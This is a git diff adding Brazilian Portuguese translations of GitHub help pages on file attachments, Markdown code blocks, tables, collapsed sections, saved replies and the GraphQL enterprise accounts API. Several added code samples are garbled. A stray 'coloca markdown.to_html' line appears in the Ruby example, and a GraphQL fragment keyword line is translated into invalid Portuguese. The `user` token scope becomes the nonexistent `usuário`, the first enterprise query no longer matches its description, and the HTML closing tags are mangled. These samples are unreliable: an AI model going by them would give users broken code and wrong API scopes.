+![Selecionar anexos do computador](/assets/images/help/pull_requests/select-bar.png)
 
 {% tip %}
 
-**Tip:** In many browsers, you can copy-and-paste images directly into the box.
+**Dica:** Em muitos navegadores, você pode copiar e colar imagens diretamente na caixa.
 
 {% endtip %}
 
-The maximum file size is:
-- 10MB for images and gifs{% ifversion fpt or ghec %}
-- 10MB for videos uploaded to a repository owned by a user or organization on a free GitHub plan
-- 100MB for videos uploaded to a repository owned by a user or organization on a paid GitHub plan{% elsif fpt or ghes > 3.1 or ghae %}
-- 100MB for videos{% endif %}
-- 25MB for all other files
+O tamanho máximo do arquivo é:
+- 10MB para imagens e gifs{% ifversion fpt or ghec %}
+- 10MB para vídeos enviados para um repositório pertencentes a um usuário ou organização em um plano grátis do GitHub
+- 100MB para vídeos enviados para um repositório pertencente a um usuário ou organização em um plano pago do GitHub{% elsif fpt or ghes > 3.1 or ghae %}
+- 100MB para vídeos{% endif %}
+- 25MB para todos os outros arquivos
 
-We support these files:
+Arquivos compatíveis:
 
 * PNG (*.png*)
 * GIF (*.gif*)
 * JPEG (*.jpg*)
-* Log files (*.log*)
-* Microsoft Word (*.docx*), Powerpoint (*.pptx*), and Excel (*.xlsx*) documents
-* Text files (*.txt*)
+* Arquivos log (*.log*)
+* Documentos do Microsoft Word (*.docx*), Powerpoint (*.pptx*), e Excel (*.xlsx*)
+* Arquivos de texto (*.txt*)
 * PDFs (*.pdf*)
 * ZIP (*.zip*, *.gz*){% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-* Video (*.mp4*, *.mov*)
+* Vídeo (*.mp4*, *.mov*)
 
 {% note %}
 
-**Note:** Video codec compatibility is browser specific, and it's possible that a video you upload to one browser is not viewable on another browser. At the moment we recommend using h.264 for greatest compatibility.
+**Observação:** A compatibilidade do codec de vídeo é específica do navegador, e é possível que um vídeo que você suba para um navegador não possa ser visualizado em outro navegador. No momento, recomendamos o uso do h.264 para maior compatibilidade.
 
 {% endnote %}
 {% endif %}
 
-![Attachments animated GIF](/assets/images/help/pull_requests/dragging_images.gif)
+![Anexos GIF animados](/assets/images/help/pull_requests/dragging_images.gif)
diff --git a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
index 71616f8e10..4ecad87a12 100644
--- a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
+++ b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
@@ -1,6 +1,6 @@
 ---
-title: Creating and highlighting code blocks
-intro: Share samples of code with fenced code blocks and enabling syntax highlighting.
+title: Criar e realçar blocos de código
+intro: Compartilhe amostras de código com blocos de código isolados e habilitando o realce da sintaxe.
 redirect_from:
   - /articles/creating-and-highlighting-code-blocks
   - /github/writing-on-github/creating-and-highlighting-code-blocks
@@ -9,12 +9,12 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Create code blocks
+shortTitle: Crie blocos de código
 ---
 
-## Fenced code blocks
+## Blocos de código isolados
 
-You can create fenced code blocks by placing triple backticks <code>\`\`\`</code> before and after the code block. We recommend placing a blank line before and after code blocks to make the raw formatting easier to read.
+Você pode criar blocos de código isolados colocando aspas triplas <code>\`\`\`</code> antes e depois do bloco de código. É recomendável colocar uma linha em branco antes e depois dos blocos de código para facilitar a leitura da formação bruta.
 
 <pre>
 ```
@@ -24,48 +24,49 @@ function test() {
 ```
 </pre>
 
-![Rendered fenced code block](/assets/images/help/writing/fenced-code-block-rendered.png)
+![Bloco de código isolado renderizado](/assets/images/help/writing/fenced-code-block-rendered.png)
 
 {% tip %}
 
-**Tip:** To preserve your formatting within a list, make sure to indent non-fenced code blocks by eight spaces.
+**Dica:** para preservar sua formatação em uma lista, certifique-se de recuar blocos de código não isolados em oito espaços.
 
 {% endtip %}
 
-To display triple backticks in a fenced code block, wrap them inside quadruple backticks.
+Para mostrar aspas tripas em um bloco de código isolado, envolva-os dentro de aspas quádruplas.
 
 
 <pre>
 ```` 
 ```
-Look! You can see my backticks.
+Look! Você pode ver minhas aspas.
 ```
 ````
 </pre>
 
-![Rendered fenced code with backticks block](/assets/images/help/writing/fenced-code-show-backticks-rendered.png)
+![Código isolado interpretado como um bloco de aspas inversas](/assets/images/help/writing/fenced-code-show-backticks-rendered.png)
 
 {% data reusables.user_settings.enabling-fixed-width-fonts %}
 
-## Syntax highlighting
+## Realce de sintaxe
 
 <!-- If you make changes to this feature, update /getting-started-with-github/github-language-support to reflect any changes to supported languages. -->
 
-You can add an optional language identifier to enable syntax highlighting in your fenced code block.
+Você pode adicionar um identificador de linguagem opcional para habilitar o realce de sintaxe no bloco de código isolado.
 
-For example, to syntax highlight Ruby code:
+Por exemplo, para código Ruby do realce de sintaxe:
 
     ```ruby
     require 'redcarpet'
     markdown = Redcarpet.new("Hello World!")
     puts markdown.to_html
+    coloca markdown.to_html
     ```
 
-![Rendered code block with Ruby syntax highlighting](/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
+![Bloco de código renderizado com realce de sintaxe Ruby](/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
 
-We use [Linguist](https://github.com/github/linguist) to perform language detection and to select [third-party grammars](https://github.com/github/linguist/blob/master/vendor/README.md) for syntax highlighting. You can find out which keywords are valid in [the languages YAML file](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
+Usamos [Linguist](https://github.com/github/linguist) para executar a detecção de linguagem e selecionar [gramáticas de terceiros](https://github.com/github/linguist/blob/master/vendor/README.md) para realce de sintaxe. Você pode descobrir quais palavras-chave são válidas no [arquivo YAML de linguagem](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- [Especificações de markdown em estilo {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/)
+- "[Sintaxe básica de gravação e formatação](/articles/basic-writing-and-formatting-syntax)"
diff --git a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/index.md b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/index.md
index 48cb432198..4c6cffc771 100644
--- a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/index.md
+++ b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with advanced formatting
-intro: 'Formatting like tables, syntax highlighting, and automatic linking allows you to arrange complex information clearly in your pull requests, issues, and comments.'
+title: Trabalhar com formatação avançada
+intro: 'A formatação (como tabelas, realce de sintaxe e vinculação automática) permite organizar informações complexas de forma clara em pull requests, problemas e comentários.'
 redirect_from:
   - /articles/working-with-advanced-formatting
 versions:
@@ -16,6 +16,6 @@ children:
   - /attaching-files
   - /creating-a-permanent-link-to-a-code-snippet
   - /using-keywords-in-issues-and-pull-requests
-shortTitle: Work with advanced formatting
+shortTitle: Trabalhar com formatação avançada
 ---
 
diff --git a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
index 88fc964d9f..36c31df4e6 100644
--- a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
+++ b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
@@ -1,13 +1,14 @@
 ---
-title: Organizing information with collapsed sections
-intro: 'You can streamline your Markdown by creating a collapsed section with the `<details>` tag.'
+title: Organizando informações com seções recolhidas
+intro: Você pode simplificar seu Markdown criando uma seção colapsada com a tag '<details>'.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Collapsed sections
+shortTitle: Seções colapsadas
 ---
+
 ## Creating a collapsed section
 
 You can temporarily obscure sections of your Markdown by creating a collapsed section that the reader can choose to expand. For example, when you want to include technical details in an issue comment that may not be relevant or interesting to every reader, you can put those details in a collapsed section.
@@ -24,9 +25,7 @@ Any Markdown within the `<details>` block will be collapsed until the reader cli
       puts "Hello World"
     ```
 
-</p>
-</details>
-```
+</details> ```</p>
 
 The Markdown will be collapsed by default.
 
@@ -36,7 +35,7 @@ After a reader clicks {% octicon "triangle-right" aria-label="The right triange
 
 ![Rendered open](/assets/images/help/writing/open-collapsed-section.png)
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- [Especificações de markdown em estilo {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/)
+- "[Sintaxe básica de gravação e formatação](/articles/basic-writing-and-formatting-syntax)"
diff --git a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
index 4c5738d5f5..7120919b7c 100644
--- a/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
+++ b/translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
@@ -1,6 +1,6 @@
 ---
-title: Organizing information with tables
-intro: 'You can build tables to organize information in comments, issues, pull requests, and wikis.'
+title: Organizar informações com tabelas
+intro: 'Você pode criar tabelas para organizar as informações em comentários, problemas, pull requests e wikis.'
 redirect_from:
   - /articles/organizing-information-with-tables
   - /github/writing-on-github/organizing-information-with-tables
@@ -9,73 +9,74 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Organized data with tables
+shortTitle: Dados organizados com tabelas
 ---
-## Creating a table
 
-You can create tables with pipes `|` and hyphens `-`. Hyphens are used to create each column's header, while pipes separate each column. You must include a blank line before your table in order for it to correctly render.
+## Criar uma tabela
+
+Você pode criar tabelas com barras verticais `|` e hifens `-`. Os hifens são usados para criar o cabeçalho das colunas e as barras verticais, para separar as colunas. Você deve incluir uma linha em branco antes da tabela para ela ser construída corretamente.
 
 ```markdown
 
-| First Header  | Second Header |
-| ------------- | ------------- |
-| Content Cell  | Content Cell  |
-| Content Cell  | Content Cell  |
+| Primeiro cabeçalho  |  Segundo cabeçalho  |
+| ------------------- | ------------------- |
+|  Célula de conteúdo |  Célula de conteúdo |
+|  Célula de conteúdo |  Célula de conteúdo |
 ```
 
-![Rendered table](/assets/images/help/writing/table-basic-rendered.png)
+![Tabela construída](/assets/images/help/writing/table-basic-rendered.png)
 
-The pipes on either end of the table are optional.
+As barras verticais em cada extremo da tabela são opcionais.
 
-Cells can vary in width and do not need to be perfectly aligned within columns. There must be at least three hyphens in each column of the header row.
+As células podem ter largura variada e não precisam estar alinhadas perfeitamente com as colunas. Deve ter no mínimo três hifens em cada coluna da linha do cabeçalho.
 
 ```markdown
-| Command | Description |
+| Comando | Descrição |
 | --- | --- |
-| git status | List all new or modified files |
-| git diff | Show file differences that haven't been staged |
+| git status | Lista de todos os arquivos modificados ou novos |
+| git diff | Mostra as diferenças do arquivo que não foram preparadas |
 ```
 
-![Rendered table with varied cell width](/assets/images/help/writing/table-varied-columns-rendered.png)
+![Tabela construída com largura de célula variada](/assets/images/help/writing/table-varied-columns-rendered.png)
 
 {% data reusables.user_settings.enabling-fixed-width-fonts %}
 
-## Formatting content within your table
+## Formatar conteúdo dentro da tabela
 
-You can use [formatting](/articles/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table:
+Você pode usar [formatação](/articles/basic-writing-and-formatting-syntax), como links, blocos de código em linhas e estilos de texto em sua tabela:
 
 ```markdown
-| Command | Description |
+| Comando | Descrição |
 | --- | --- |
-| `git status` | List all *new or modified* files |
-| `git diff` | Show file differences that **haven't been** staged |
+| `git status` | Lista de todos os arquivos *modificados ou novos* |
+| `git diff` | Mostra as diferenças do arquivo que **não foram** preparadas |
 ```
 
-![Rendered table with formatted text](/assets/images/help/writing/table-inline-formatting-rendered.png)
+![Tabela construída com texto formatado](/assets/images/help/writing/table-inline-formatting-rendered.png)
 
-You can align text to the left, right, or center of a column by including colons `:` to the left, right, or on both sides of the hyphens within the header row.
+Você pode alinhar o texto à esquerda, direita ou centralizar uma coluna incluindo dois pontos `:` à esquerda, direita ou nos dois lados dos hifens que estão dentro da linha de cabeçalho.
 
 ```markdown
-| Left-aligned | Center-aligned | Right-aligned |
+|   Esquerda   |  Centralizado  |    Direita    |
 | :---         |     :---:      |          ---: |
 | git status   | git status     | git status    |
 | git diff     | git diff       | git diff      |
 ```
 
-![Rendered table with left, center, and right text alignment](/assets/images/help/writing/table-aligned-text-rendered.png)
+![Tabela construída com alinhamento de texto à esquerda, centralizado e à direita](/assets/images/help/writing/table-aligned-text-rendered.png)
 
-To include a pipe `|` as content within your cell, use a `\` before the pipe:
+Para incluir uma barra vertical `|` como conteúdo dentro de sua célula, use `\` antes da barra vertical:
 
 ```markdown
-| Name     | Character |
-| ---      | ---       |
-| Backtick | `         |
-| Pipe     | \|        |
+| Nome   | Caractere |
+| ---    | ---       |
+| Crase  | `         |
+| Barra  | \|        |
 ```
 
-![Rendered table with an escaped pipe](/assets/images/help/writing/table-escaped-character-rendered.png)
+![Tabela construída com barra vertical solta](/assets/images/help/writing/table-escaped-character-rendered.png)
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- [Especificações de markdown em estilo {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/)
+- "[Sintaxe básica de gravação e formatação](/articles/basic-writing-and-formatting-syntax)"
diff --git a/translations/pt-BR/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md b/translations/pt-BR/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
index 45ee882eba..77b0b40cf3 100644
--- a/translations/pt-BR/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
+++ b/translations/pt-BR/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
@@ -1,6 +1,6 @@
 ---
-title: Editing a saved reply
-intro: You can edit the title and body of a saved reply.
+title: Editar uma resposta salva
+intro: Você pode editar o título e o corpo de uma resposta salva.
 redirect_from:
   - /articles/changing-a-saved-reply
   - /articles/editing-a-saved-reply
@@ -11,17 +11,16 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.saved_replies %}
-3. Under "Saved replies", next to the saved reply you want to edit, click {% octicon "pencil" aria-label="The pencil" %}.  
-![Edit a saved reply](/assets/images/help/settings/saved-replies-edit-existing.png)
-4. Under "Edit saved reply", you can edit the title and the content of the saved reply.
-![Edit title and content](/assets/images/help/settings/saved-replies-edit-existing-content.png)
-5. Click **Update saved reply**.
-![Update saved reply](/assets/images/help/settings/saved-replies-save-edit.png)
+3. Em "Saved replies" (Respostas salvas), ao lado da resposta salva que deseja editar, clique em {% octicon "pencil" aria-label="The pencil" %}.  
+   ![Editar resposta salva](/assets/images/help/settings/saved-replies-edit-existing.png)
+4. Em "Edit saved reply" (Editar resposta salva), é possível editar o título e o conteúdo da resposta salva. ![Editar título e conteúdo](/assets/images/help/settings/saved-replies-edit-existing-content.png)
+5. Clique em **Update saved reply** (Atualizar resposta salva). ![Atualizar resposta salva](/assets/images/help/settings/saved-replies-save-edit.png)
 
-## Further reading
+## Leia mais
 
-- "[Creating a saved reply](/articles/creating-a-saved-reply)"
-- "[Deleting a saved reply](/articles/deleting-a-saved-reply)"
-- "[Using saved replies](/articles/using-saved-replies)"
+- "[Criar uma resposta salva](/articles/creating-a-saved-reply)"
+- "[Excluir uma resposta salva](/articles/deleting-a-saved-reply)"
+- "[Usar respostas salvas](/articles/using-saved-replies)"
diff --git a/translations/pt-BR/content/graphql/guides/index.md b/translations/pt-BR/content/graphql/guides/index.md
index 7311e5cf39..9c4da7ae55 100644
--- a/translations/pt-BR/content/graphql/guides/index.md
+++ b/translations/pt-BR/content/graphql/guides/index.md
@@ -1,6 +1,6 @@
 ---
-title: Guides
-intro: 'Learn about getting started with GraphQL, migrating from REST to GraphQL, and how to use the GitHub GraphQL API for a variety of tasks.'
+title: Guias
+intro: 'Saiba mais sobre como começar com o GraphQL, migrando da REST para o GraphQL e como usar a API do GraphQL do GitHub para uma variedade de tarefas.'
 redirect_from:
   - /v4/guides
 versions:
diff --git a/translations/pt-BR/content/graphql/guides/managing-enterprise-accounts.md b/translations/pt-BR/content/graphql/guides/managing-enterprise-accounts.md
index c14b543958..75bfc84647 100644
--- a/translations/pt-BR/content/graphql/guides/managing-enterprise-accounts.md
+++ b/translations/pt-BR/content/graphql/guides/managing-enterprise-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Managing enterprise accounts
-intro: You can manage your enterprise account and the organizations it owns with the GraphQL API.
+title: Gerenciar contas corporativas
+intro: Você pode gerenciar sua conta corporativa e as organizações detêm com a API do GraphQL.
 redirect_from:
   - /v4/guides/managing-enterprise-accounts
 versions:
@@ -9,125 +9,113 @@ versions:
   ghae: '*'
 topics:
   - API
-shortTitle: Manage enterprise accounts
+shortTitle: Gerenciar contas corporativas
 ---
 
-## About managing enterprise accounts with GraphQL
+## Sobre o gerenciamento de contas corporativas com o GraphQL
 
-To help you monitor and make changes in your organizations and maintain compliance, you can use the Enterprise Accounts API and the Audit Log API, which are only available as GraphQL APIs.
+Para ajudá-lo a monitorar e fazer alterações nas suas organizações e manter a conformidade, você pode usar a API de Contas corporativas e a API de log de auditoria, que estão disponíveis apenas como APIs do GraphQL.
 
-The enterprise account endpoints work for both GitHub Enterprise Cloud and for GitHub Enterprise Server.
+Os pontos finais da conta corporativa funcionam tanto para o GitHub Enterprise Cloud quanto para o GitHub Enterprise Server.
 
-GraphQL allows you to request and return just the data you specify. For example, you can create a GraphQL query, or request for information, to see all the new organization members added to your organization. Or you can make a mutation, or change, to invite an administrator to your enterprise account.
+O GraphQL permite que você solicite e retorne apenas os dados especificados. Por exemplo, você pode criar uma consulta GraphQL ou uma solicitação de informações para ver todos os novos integrantes da organização adicionados à sua organização. Ou você pode fazer uma mutação ou alteração para convidar um administrador para a sua conta corporativa.
 
-With the Audit Log API, you can monitor when someone:
-- Accesses your organization or repository settings.
-- Changes permissions.
-- Adds or removes users in an organization, repository, or team.
-- Promotes users to admin.
-- Changes permissions of a GitHub App.
+Com a API de Log de Auditoria, você pode monitorar quando alguém:
+- Acessa as configurações da sua organização ou repositório.
+- Altera permissões.
+- Adiciona ou remove usuários em uma organização, repositório ou equipe.
+- Promove usuários a admininistradores.
+- Altera as permissões de um aplicativo GitHub.
 
-The Audit Log API enables you to keep copies of your audit log data. For queries made with the Audit Log API, the GraphQL response can include data for up to 90 to 120 days. For a list of the fields available with the Audit Log API, see the "[AuditEntry interface](/graphql/reference/interfaces#auditentry/)."
+A API de Log de Auditoria permite que você mantenha cópias dos seus dados do log de auditoria. Para consultas feitas com a API do Log de Auditoria, a resposta do GraphQL pode incluir dados de 90 a 120 dias. Para obter uma lista dos campos disponíveis na API do Log de Auditoria, consulte a "[interface AuditEntry](/graphql/reference/interfaces#auditentry/)".
 
-With the Enterprise Accounts API, you can:
-- List and review all of the organizations and repositories that belong to your enterprise account.
-- Change Enterprise account settings.
-- Configure policies for settings on your enterprise account and its organizations.
-- Invite administrators to your enterprise account.
-- Create new organizations in your enterprise account.
+Com a API de Contas corporativas, você pode:
+- Listar e revisar todas as organizações e repositórios que pertencem à conta corporativa.
+- Alterar configurações da conta empresarial.
+- Configurar políticas para configurações na conta corporativa e em suas organizações.
+- Convidar os administradores para a sua conta corporativa.
+- Criar novas organizações na sua conta corporativa.
 
-For a list of the fields available with the Enterprise Accounts API, see "[GraphQL fields and types for the Enterprise account API](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)."
+Para obter uma lista dos campos disponíveis da API de Contas corprativas, consulte "[campos e tipos do GraphQL para a API de Conta corporativa](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)".
 
-## Getting started using GraphQL for enterprise accounts
+## Primeiros passos usando o GraphQL para contas corporativas
 
-Follow these steps to get started using GraphQL to manage your enterprise accounts:
- - Authenticating with a personal access token
- - Choosing a GraphQL client or using the GraphQL Explorer
- - Setting up Insomnia to use the GraphQL API
+Siga estes passos para começar a usar o GraphQL para gerenciar as suas contas corporativas:
+ - Efetuando a autenticação com um token de acesso pessoal
+ - Escolher um cliente do GraphQL ou usar o Explorador do GraphQL
+ - Configurar a o Insomnia para usar a API do GraphQL
 
-For some example queries, see "[An example query using the Enterprise Accounts API](#an-example-query-using-the-enterprise-accounts-api)."
+Para alguns exemplos de consulta, veja "[Exemplo de consulta usando a API de Contas corporativas](#an-example-query-using-the-enterprise-accounts-api)".
 
-### 1. Authenticate with your personal access token
+### 1. Efetuando a autenticação com seu token de acesso pessoal
 
-1. To authenticate with GraphQL, you need to generate a personal access token (PAT) from developer settings. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+1. Para efetuar a autenticação com o GraphQL, você precisa gerar um token de acesso pessoal (PAT) a partir das configurações do desenvolvedor. Para mais informação, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
 
-2. Grant admin and full control permissions to your personal access token for areas of GHES you'd like to access. For full permission to private repositories, organizations, teams, user data, and access to enterprise billing and profile data, we recommend you select these scopes for your personal access token:
+2. Conceda permissões de administrador e controle total ao seu token de acesso pessoal para as áreas do GHES que você gostaria de acessar. Para obter a permissão total para repositórios privados, organizações, equipes, dados de usuário e acesso aos dados de cobrança da empresa e de perfil, recomendamos que você selecione estes escopos para o seu token de acesso pessoal:
     - `repo`
     - `admin:org`
-    - `user`
+    - `usuário`
     - `admin:enterprise`
 
-  The enterprise account specific scopes are:
-    - `admin:enterprise`: Gives full control of enterprises (includes {% ifversion ghes > 3.2 or ghae or ghec %}`manage_runners:enterprise`, {% endif %}`manage_billing:enterprise` and `read:enterprise`)
-    - `manage_billing:enterprise`: Read and write enterprise billing data.{% ifversion ghes > 3.2 or ghae  %}
-    - `manage_runners:enterprise`: Access to manage GitHub Actions enterprise runners and runner-groups.{% endif %}
-    - `read:enterprise`: Read enterprise profile data.
+  Os escopos específicos da conta corporativa são:
+    - `admin:enterprise`: Fornece controle total de empresas (inclui {% ifversion ghes > 3.2 or ghae or ghec %}`manage_runners:enterprise`, {% endif %}`manage_billing:enterprise` e `read:enterprise`)
+    - `manage_billing:enterprise`: Lê e escreve os dados de cobrança da empresa.{% ifversion ghes > 3.2 or ghae  %}
+    - `manage_runners:enterprise`: Acesso para gerenciar executores corporativos e grupos de executores do GitHub Actions{% endif %}
+    - `read:enterprise`: Lê dados do perfil empresarial.
 
-3. Copy your personal access token and keep it in a secure place until you add it to your GraphQL client.
+3. Copie seu token de acesso pessoal e guarde-o em um lugar seguro até adicioná-lo ao seu cliente do GraphQL.
 
-### 2. Choose a GraphQL client
+### 2. Escolha um cliente do GraphQL
 
-We recommend you use GraphiQL or another standalone GraphQL client that lets you configure the base URL.
+Recomendamos que você use o GraphiQL ou outro cliente autônomo do GraphQL que permite configurar a URL de base.
 
-You may also consider using these GraphQL clients:
+Você também pode considerar o uso destes clientes do GraphQL:
   - [Insomnia](https://support.insomnia.rest/article/176-graphql-queries)
   - [GraphiQL](https://www.gatsbyjs.org/docs/running-queries-with-graphiql/)
   - [Postman](https://learning.getpostman.com/docs/postman/sending_api_requests/graphql/)
 
-The next steps will use Insomnia.
+As próximas etapas usarão o Insomnia.
 
-### 3. Setting up Insomnia to use the GitHub GraphQL API with enterprise accounts
+### 3. Configurando o Insomnia para usar a API do GraphQL do GitHub com contas corporativas
 
-1. Add the base url and `POST` method to your GraphQL client. When using GraphQL to request information (queries), change information (mutations), or transfer data using the GitHub API, the default HTTP method is `POST` and the base url follows this syntax:
-    - For your enterprise instance: `https://<HOST>/api/graphql`
-    - For GitHub Enterprise Cloud: `https://api.github.com/graphql`
+1. Adicione a URL de base e o método `POST` ao seu cliente do GraphQL. Ao usar o GraphQL para solicitar informações (consultas), alterar informações (mutações) ou transferir dados usando a API do GitHub, o método HTTP padrão é `POST` e a URL de base segue esta sintaxe:
+    - Para a instância de sua empresa: `https://<HOST>/api/graphql`
+    - Para o GitHub Enterprise Cloud: `https://api.github.com/graphql`
 
-2. To authenticate, open the authentication options menu and select **Bearer token**. Next, add your personal access token that you copied earlier.
+2. Para efetuar a autenticação, abra o menu de opções de autenticação e selecione **Token portador**. Em seguida, adicione seu token de acesso pessoal que você copiou anteriormente.
 
- ![Permissions options for personal access token](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
+ ![Opções de permissão para o token de acesso pessoal](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
 
- ![Permissions options for personal access token](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
+ ![Opções de permissão para o token de acesso pessoal](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
 
-3. Include header information.
-   - Add `Content-Type` as the header and `application/json` as the value.
-   ![Standard header](/assets/images/developer/graphql/json-content-type-header.png)
-   ![Header with preview value for the Audit Log API](/assets/images/developer/graphql/preview-header-for-2.18.png)
+3. Incluir informações do header.
+   - Adicione `Content-Type` como header e `application/json` como valor. ![Header padrão](/assets/images/developer/graphql/json-content-type-header.png) ![Header com valor de pré-visualização para a API do Log de Auditoria](/assets/images/developer/graphql/preview-header-for-2.18.png)
 
-Now you are ready to start making queries.
+Agora você está pronto para começar a fazer consultas.
 
-## An example query using the Enterprise Accounts API
+## Um exemplo e consulta usando a API de Contas corporativas
 
-This GraphQL query requests the total number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each of your appliance's organizations using the Enterprise Accounts API. To customize this query, replace `<enterprise-account-name>` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `<enterprise-account-name>` with `octo-enterprise`.
+Essa consulta do GraphQL solicita o número total de repositórios {% ifversion not ghae %}`públicos`{% else %}`privados`{% endif %} em cada uma das organizações dos seus aplicativos usando a API de contas corporativas. Para personalizar essa consulta, substitua `<enterprise-account-name>` com o identificador da conta corporativa. Por exemplo, se sua conta corporativa estiver localizada em `https://github.com/enterprises/octo-enterprise`, substitua `<enterprise-account-name>` por `octo-enterprise`.
 
 {% ifversion not ghae %}
 
 ```graphql
-query publicRepositoriesByOrganization($slug: String!) {
-  enterprise(slug: $slug) {
-    ...enterpriseFragment
+query publicRepositoriesByOrganization {
+  organizationOneAlias: organization(login: "<name-of-organization-one>") {
+    # Como usar um fragmento
+    ...repositories
   }
-}
-
-fragment enterpriseFragment on Enterprise {
-  ... on Enterprise{
-    name
-    organizations(first: 100){
-      nodes{
-        name
-        ... on Organization{
-          name
-          repositories(privacy: PUBLIC){
-            totalCount
-          }
-        }
-      }
-    }
+  organizationTwoAlias: organization(login: "<name-of-organization-two>") {
+    ...repositories
   }
+  # organizationThreeAlias ... e assim por diante até, digamos, 100
 }
-
-# Passing our Enterprise Account as a variable
-variables {
-  "slug": "<enterprise-account-name>"
+# Como definir um fragmento
+fragment repositories on Organization {
+  name
+  repositories(privacy: PUBLIC){
+    totalCount
+  }
 }
 ```
 
@@ -164,11 +152,11 @@ variables {
 ```
 {% endif %}
 
-The next GraphQL query example shows how challenging it is to retrieve the number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each organization without using the Enterprise Account API.  Notice that the GraphQL Enterprise Accounts API has made this task simpler for enterprises since you only need to customize a single variable. To customize this query, replace `<name-of-organization-one>` and `<name-of-organization-two>`, etc. with the organization names on your instance.
+O próximo exemplo de consulta GraphQL mostra como é desafiante recuperar o número de repositórios {% ifversion not ghae %}`públicos`{% else %}`privados`{% endif %} em cada organização sem usar a API da conta corporativa.  Observe que a API de Contas corporativas do GraphQL simplificou esta tarefa para empresas, pois você só precisa personalizar uma única variável. Para personalizar esta consulta, substitua `<name-of-organization-one>` e `<name-of-organization-two>`, etc. pelos nomes de organização na sua instância.
 
 {% ifversion not ghae %}
 ```graphql
-# Each organization is queried separately
+# Cada organização é consultada separadamente
 {
   organizationOneAlias: organization(login: "nameOfOrganizationOne") {
     # How to use a fragment
@@ -177,11 +165,11 @@ The next GraphQL query example shows how challenging it is to retrieve the numbe
   organizationTwoAlias: organization(login: "nameOfOrganizationTwo") {
     ...repositories
   }
-  # organizationThreeAlias ... and so on up-to lets say 100
+  # organizationThreeAlias ... e assim por diante até, digamos, 100
 }
 
-## How to define a fragment
-fragment repositories on Organization {
+## Como definir um fragmento
+repositórios do fragmento na organização {
   name
   repositories(privacy: PUBLIC){
     totalCount
@@ -212,7 +200,7 @@ fragment repositories on Organization {
 ```
 {% endif %}
 
-## Query each organization separately
+## Consulte cada organização separadamente
 
 {% ifversion not ghae %}
 
@@ -260,7 +248,7 @@ fragment repositories on Organization {
 
 {% endif %}
 
-This GraphQL query requests the last 5 log entries for an enterprise organization. To customize this query, replace `<org-name>` and `<user-name>`.
+Esta consulta do GraphQL solicita as últimas 5 entradas de registro para uma organização corporativa. Para personalizar esta consulta, substitua `<org-name>` e `<user-name>`.
 
 ```graphql
 {
@@ -286,13 +274,12 @@ This GraphQL query requests the last 5 log entries for an enterprise organizatio
 }
 ```
 
